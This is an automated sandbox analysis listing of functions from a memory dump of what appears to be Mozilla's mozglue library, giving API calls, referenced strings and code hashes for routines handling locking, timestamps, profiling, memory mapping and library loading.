GetCurrentThreadId.KERNEL32 ref: 6CF4D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF4DA2E
GetCurrentThreadId.KERNEL32 ref: 6CF4DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CF4DA91

Part of subcall function 6CF15C50: GetTickCount64.KERNEL32 ref: 6CF15D40
Part of subcall function 6CF15C50: EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF15D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4DAB7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: a35ecc1653d527bd41067bf298936325da70a0c1520ae751860408d892a9493c
Instruction ID: 3e18367c9595c044b2abd296cbca35a0da78d1ab72339248ae8295bc6630363f
Opcode Fuzzy Hash: a35ecc1653d527bd41067bf298936325da70a0c1520ae751860408d892a9493c
Instruction Fuzzy Hash: CE71B135A14314DFCB40CF29C888B9ABBF5FF89314F15856DE85A9B306DB30A944CBA1

Function 6CF4D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF4D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D52A
GetCurrentThreadId.KERNEL32 ref: 6CF4D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D55F
free.MOZGLUE(00000000), ref: 6CF4D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF4D5D3
GetCurrentThreadId.KERNEL32 ref: 6CF4D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D652
GetCurrentThreadId.KERNEL32 ref: 6CF4D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF4D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4D6A2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: f5740496b3d0c9ef48e628a441c0c89b9ccb7b95f8502e2c1dfd356b37a4c3a8
Instruction ID: 34b1865b3484d2a9ae5f3d9e93cef842236afcb6317c8ec27f87757b02755f5e
Opcode Fuzzy Hash: f5740496b3d0c9ef48e628a441c0c89b9ccb7b95f8502e2c1dfd356b37a4c3a8
Instruction Fuzzy Hash: 2E516D71A14705DFC744DF34C488A9ABBB4FF8A318F108A2EE85A87711DB70A945CB91

Function 6CF15670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CF156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CF156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CF15744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CF157BC
GetTickCount64.KERNEL32 ref: 6CF158CB
EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF158F3
__aulldiv.LIBCMT ref: 6CF15945
LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CF159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CF7F638,?,?,?,?), ref: 6CF159E9

Strings

MOZ_APP_RESTART, xrefs: 6CF156CC

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f580c5a8ee4496923802ca7c3978818f7db60fc7a62e5fe4560cdf92bf24d550
Instruction ID: f1b693bbd8bc68e8936ac59ce2aaef5247bd1939f6af4d66cf2631338ef0606a
Opcode Fuzzy Hash: f580c5a8ee4496923802ca7c3978818f7db60fc7a62e5fe4560cdf92bf24d550
Instruction Fuzzy Hash: 2CC18D71A1C3509FDB46CF28D84066ABBF1FFCA714F158A1DE8C497A60D730A885CB92

Function 6CF3EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3EC8C

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

GetCurrentThreadId.KERNEL32 ref: 6CF3ECA1
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CF3ECC5
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CF3ED19
CloseHandle.KERNEL32(?), ref: 6CF3ED28
free.MOZGLUE(00000000), ref: 6CF3ED2F
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CF3EC94

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 14f1eca39024c3eff04cdee0643fe1f9df0d1e80ee2d9257800eb1411f44f800
Instruction ID: 39e5890b4af523e8d06710707f85d3894041b9a4bc49facd1867650f935f4ddb
Opcode Fuzzy Hash: 14f1eca39024c3eff04cdee0643fe1f9df0d1e80ee2d9257800eb1411f44f800
Instruction Fuzzy Hash: 5621EC75A00128BBDB429F64E808BEA3B39FF8626CF104221FD1897740DB319C258BF1

Function 6CF03A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6CF03BB4
ReleaseSRWLockShared.KERNEL32 ref: 6CF03BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6CF03BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6CF03C91
ReleaseSRWLockShared.KERNEL32 ref: 6CF03CBD
moz_xmalloc.MOZGLUE ref: 6CF03CF1

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 388490ae0f704f19e4c80c093211e13082ba1161690d30da5f16ef2105de2cb6
Instruction ID: 9fb0ebf1f60ac39b9cba63229c4d74563433b7f7433815c352cdeb446f1c857c
Opcode Fuzzy Hash: 388490ae0f704f19e4c80c093211e13082ba1161690d30da5f16ef2105de2cb6
Instruction Fuzzy Hash: 42C171B1A09701CFC714DF28C094A5ABBF1FF89704F158A5ED8998BB15D730E889CB92

Function 6CF38ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CEFEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CF3B392,?,?,00000001), ref: 6CF391F4

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Strings

timeline-overview, xrefs: 6CF3907A
data, xrefs: 6CF390E8
stack-chart, xrefs: 6CF390B2
name, xrefs: 6CF38F16
marker-chart, xrefs: 6CF3905E
marker-table, xrefs: 6CF3906C
timeline-memory, xrefs: 6CF39088
timeline-fileio, xrefs: 6CF390A4
timeline-ipc, xrefs: 6CF39096

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 13294e9d8107fed2082f6f7eeb78df918977f6c448c142efb314afc58205138f
Instruction ID: a5fa56b036424de2bb9337d020cef458f72dee8297b69e9e8e29212d8cce52cb
Opcode Fuzzy Hash: 13294e9d8107fed2082f6f7eeb78df918977f6c448c142efb314afc58205138f
Instruction Fuzzy Hash: 79B1E8B1B00619ABDB04CF95C851BEEBBB6BF84318F204419D416ABF80DB75DA45CBE1

Function 6CF1C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF1C5A3
WideCharToMultiByte.KERNEL32 ref: 6CF1C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CF1C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CF1CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF1CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF1CAA5

Strings

(null), xrefs: 6CF1C596
0, xrefs: 6CF1D30A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: e0e82129682a8cd2da51ee3c21b9374862346684de5ec572ebd6bb689fa81d1c
Instruction ID: cc267023b24342e074033024e7f17ee1b8c89d30608ca0169c4260d013096f52
Opcode Fuzzy Hash: e0e82129682a8cd2da51ee3c21b9374862346684de5ec572ebd6bb689fa81d1c
Instruction Fuzzy Hash: 1AA1BC3160D3818FDB01DF28C598B5BBBF1AF8A758F14882DE899D7A41D731E805CB92

Function 6CF1C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF1C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF1C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CF1C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CF1C891

Strings

NAN, xrefs: 6CF1C7AD
inf, xrefs: 6CF1C78F
nan, xrefs: 6CF1C7A8
INF, xrefs: 6CF1C794

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: c5907764723b9e70eecbfea9aa13a427204f5e8416f317eef0e595c3eb9fb46f
Instruction ID: 8046f681bba086503d143d6ac15acb62fb7a02e62920a4f21f9cd0c5984c132f
Opcode Fuzzy Hash: c5907764723b9e70eecbfea9aa13a427204f5e8416f317eef0e595c3eb9fb46f
Instruction Fuzzy Hash: FF51817190C7808BD701DF2DC48129BFBF0BF9A318F008A2DE9D5A7A50E770D9898B52

Function 6CEF4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CF34843,?), ref: 6CEF45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CF34843,?), ref: 6CEF468A
free.MOZGLUE(?,?,?,?,?,?,6CF34843,?), ref: 6CEF46C9
free.MOZGLUE(?), ref: 6CEF46EF
free.MOZGLUE(?), ref: 6CEF4712
free.MOZGLUE(?), ref: 6CEF4735
free.MOZGLUE(?), ref: 6CEF4758
free.MOZGLUE(?), ref: 6CEF477B
free.MOZGLUE(?), ref: 6CEF479E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2df61dc46f79f5ee2e3a16923b0fa0c53e243f629cadcf113ba3043977034783
Instruction ID: bc786c412a296c2f6b6f19bdc6dd7783d609df0395aafc8e98d8392b57ad9566
Opcode Fuzzy Hash: 2df61dc46f79f5ee2e3a16923b0fa0c53e243f629cadcf113ba3043977034783
Instruction Fuzzy Hash: 25B11971A001548FDB149F7CDA9076D77B1AF42328F28466AE836DBBD2D734D9428B41

Function 6CF5AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CF5AC52
CreateFileMappingW.KERNEL32 ref: 6CF5AC7D
GetSystemInfo.KERNEL32 ref: 6CF5AC98
MapViewOfFile.KERNEL32 ref: 6CF5ACB0
GetSystemInfo.KERNEL32 ref: 6CF5ACCD
MapViewOfFile.KERNEL32 ref: 6CF5AD05
UnmapViewOfFile.KERNEL32 ref: 6CF5AD1C
CloseHandle.KERNEL32 ref: 6CF5AD28
UnmapViewOfFile.KERNEL32 ref: 6CF5AD37
CloseHandle.KERNEL32 ref: 6CF5AD43
CloseHandle.KERNEL32 ref: 6CF5AD67

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 7462d982e351493b027f04d522a4404e4c51f159c8349d110af2de334e330049
Instruction ID: 2bc4c3eda355c6cc92704cb31370586bd2d62fcfa650c9a36c998c4eec180510
Opcode Fuzzy Hash: 7462d982e351493b027f04d522a4404e4c51f159c8349d110af2de334e330049
Instruction Fuzzy Hash: 14314DB1D047048FDB41BF79D6483AEBBF1BF85305F114929E99587311EB709498CBA2

Function 6CF2F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF2D9DB), ref: 6CF2F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6CF2F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6CF2F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CF2F347

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CF2F3C8
free.MOZGLUE(00000000,00000000), ref: 6CF2F3F3
free.MOZGLUE(00000000,00000000), ref: 6CF2F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6CF2F413

Strings

ntdll.dll, xrefs: 6CF2F2F0

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 9a550482eefe4ad1ab76036c629395613b305f579a37bc397d562c9353527263
Instruction ID: ff13a115c8577cd3e90bace1fb0512bc492be0467c9f2c6aa993bce6317759c9
Opcode Fuzzy Hash: 9a550482eefe4ad1ab76036c629395613b305f579a37bc397d562c9353527263
Instruction Fuzzy Hash: 524169B1F102248FDF858FA8E85479E77B1FF45728F20442DD81A97B80EB74A804CBA1

Function 6CF09620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CF09675
__Init_thread_footer.LIBCMT ref: 6CF09697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CF096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CF09707
__Init_thread_footer.LIBCMT ref: 6CF0971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CF09773

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CF097B7
FreeLibrary.KERNEL32 ref: 6CF097D0
FreeLibrary.KERNEL32 ref: 6CF097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CF09824

Strings

ntdll.dll, xrefs: 6CF096E3
MapViewOfFileNuma2, xrefs: 6CF097B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CF09670
NtMapViewOfSection, xrefs: 6CF09701

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d343ab444101cb3304cbe0b8557eaa5cacdd40fb8a3bbbf2d665aff4bbaca828
Instruction ID: 75ea2f99b45fc0563ff2ee39a9d79cf3493a01ff1c7ae411ab0617cf0489ec35
Opcode Fuzzy Hash: d343ab444101cb3304cbe0b8557eaa5cacdd40fb8a3bbbf2d665aff4bbaca828
Instruction Fuzzy Hash: 5441ADB1F102159BDF81CFA4F894B967BB4FB8A729F104529ED0587780EB34A905CBB1

Function 6CEF1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEF1EC1
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF1EE1
EnterCriticalSection.KERNEL32(6CF7E744), ref: 6CEF1F38
LeaveCriticalSection.KERNEL32(6CF7E744), ref: 6CEF1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CEF1F83
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF1FC0
EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEF1FE2
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEF1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEF2019

Strings

MOZ_CRASH(), xrefs: 6CEF2000

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: c54507a3cd98e04f4b6da788079abdc915d1fcb094ca347977f741ccb8a4d928
Instruction ID: de158fac7500d2c37ba75b7d158f90ab3587ee52cf4807383fd87b9bb5d81eb3
Opcode Fuzzy Hash: c54507a3cd98e04f4b6da788079abdc915d1fcb094ca347977f741ccb8a4d928
Instruction Fuzzy Hash: C141E9B2F103298FEF518FA8D885BDA3AB5EF4A308F140126E92597744D775D8068BE1

Function 6CF40000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF40039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF40041
